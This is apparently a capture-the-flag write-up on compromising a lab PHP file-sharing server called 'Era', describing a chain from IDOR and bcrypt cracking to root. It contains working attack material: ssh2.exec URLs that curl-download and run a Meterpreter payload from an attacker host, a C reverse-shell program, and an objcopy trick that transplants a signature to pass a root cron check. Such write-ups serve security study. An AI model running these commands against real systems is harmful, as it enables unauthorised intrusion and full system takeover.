Era
Overview
Era is a custom PHP file-sharing application with multiple chained vulnerabilities: an IDOR on a download endpoint leaks application source code and a SQLite database, bcrypt passwords crack to give FTP and app access, a missing CSRF/authorization check on a security questions endpoint allows admin login, and an SSH2 stream wrapper in the download route enables SSRF-to-RCE. Privilege escalation abuses write access to a signed binary executed by root's cron job - the signing signature is copied from the original binary to make the replacement accepted.
Recon
Nmap
sudo nmap -sC -sV -vv -oA tcp 10.129.34.131 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.34.131FTP (21) and HTTP (80) are open. HTTP responds as era.htb - add to /etc/hosts.
Subdomain Fuzzing
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-H "Host: FUZZ.era.htb" -u http://era.htb -ic -fl 8Discovers file.era.htb - a file sharing application.
User Enumeration Form
http://file.era.htb/security_login.php has a form that allows username enumeration:
PHP File Discovery
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \
-u http://file.era.htb/FUZZ -ic -e .php -fl 234register.php is found - create a test account to access the application.
Foothold
IDOR on Download Endpoint
After registering and uploading multiple files, the application generates a ZIP file when selecting multiple files. The ZIP filename contains the user ID, leaking internal IDs:
The download endpoint (download.php?id=X) is vulnerable to IDOR - it does not verify ownership of the file. Fuzz IDs 1–2000 to find files belonging to other users:
ffuf -w <(seq 1 2000) -u http://file.era.htb/download.php?id=FUZZ \
-b "PHPSESSID=3fn4jh1hipmb2gurvog7gpfhcr" -fl 267Two valid files are found:
- Application source code ZIP
- A file containing a private SSH key and username
[email protected]
SQLite Database - Hash Cracking
The source code ZIP contains filesdb.sqlite:
Extract bcrypt hashes and crack with hashcat (mode 3200):
hashcat -a 0 -m 3200 hash /mnt/hgfs/I/data/rockyou.txtCracked credentials:
$2y$10$S9EOSDqF1RzNUvyVj7OtJ...:america → eric:america
$2b$12$HkRKUdjjOdf2WuTXovkHIO...:mustang → yuri:mustangFTP Access as Yuri
Test passwords against FTP:
ftp era.htb
# yuri:mustang → worksFiles accessible via FTP but nothing immediately useful.
Missing Authorization - Security Questions Endpoint
Review the PHP source code. The update security questions endpoint has no validation of the current user - it allows setting security questions/answers for any account by ID:
Exploit this to set known security question answers for the admin account, then log in as admin.
Admin File Viewing - SSH2 Stream Wrapper RCE
Code review reveals admins can view (not just download) files. The download.php?show=true parameter passes the file through PHP's readfile() function, and the format parameter specifies the stream wrapper to use:
The ssh2.exec:// wrapper executes a command over SSH and returns the output. Using known credentials for a local user (eric:america), we execute arbitrary commands via the web server:
Test callback:
GET /download.php?id=9007&show=true&format=ssh2.exec://eric:america@localhost:22/bash%20-c%20"curl%2010.10.15.235"Full Meterpreter execution:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=tun0 lport=8443 -f elf -o eSet up the handler and trigger:
GET /download.php?id=9007&show=true&format=ssh2.exec://eric:america@localhost:22/bash%20-c%20"curl%20http://10.10.15.235/e%20-o%20/tmp/e;chmod%20777%20/tmp/e;/tmp/e%26"Shell landed as eric. User flag accessible. Switch to yuri with su yuri using password mustang.
Privilege Escalation
Cronjob - Signed Binary Abuse
Transfer and run pspy64 to watch for cronjob activity:
Root executes /opt/AV/periodic-checks/monitor on a schedule. The devs group (which our user belongs to) has read/write access to this directory - we can overwrite the binary.
However, the binary is ELF-signed - the AV check verifies the .text_sig section before executing. Simply replacing the binary with a Meterpreter fails.
Signing Bypass via objcopy
The signing verification only checks the signature section, not the actual binary content. We can:
- Extract the signature from the original binary
- Inject it into our malicious binary
Compile a simple C reverse shell:
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 8443;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.15.235");
connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}gcc she.c --output sheExtract the signature section from the original binary and inject it into our shell:
objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
objcopy --add-section .text_sig=text_sig_section.bin sheCopy the signed shell over the monitor binary and start a netcat listener. The next cron execution fires our callback as root.
Attack Chain Summary
| Phase | Technique | Result |
|---|---|---|
| Recon | ffuf subdomain + PHP discovery | file.era.htb, register.php |
| IDOR | Download endpoint ID brute-force | Source code + SQLite DB |
| Credential access | bcrypt hash cracking | eric:america, yuri:mustang |
| Auth bypass | Missing authorization on security questions | Admin login |
| RCE | SSH2 stream wrapper in download.php | Shell as eric/www-data |
| Privesc | Cronjob binary + signature transplant | Root shell |

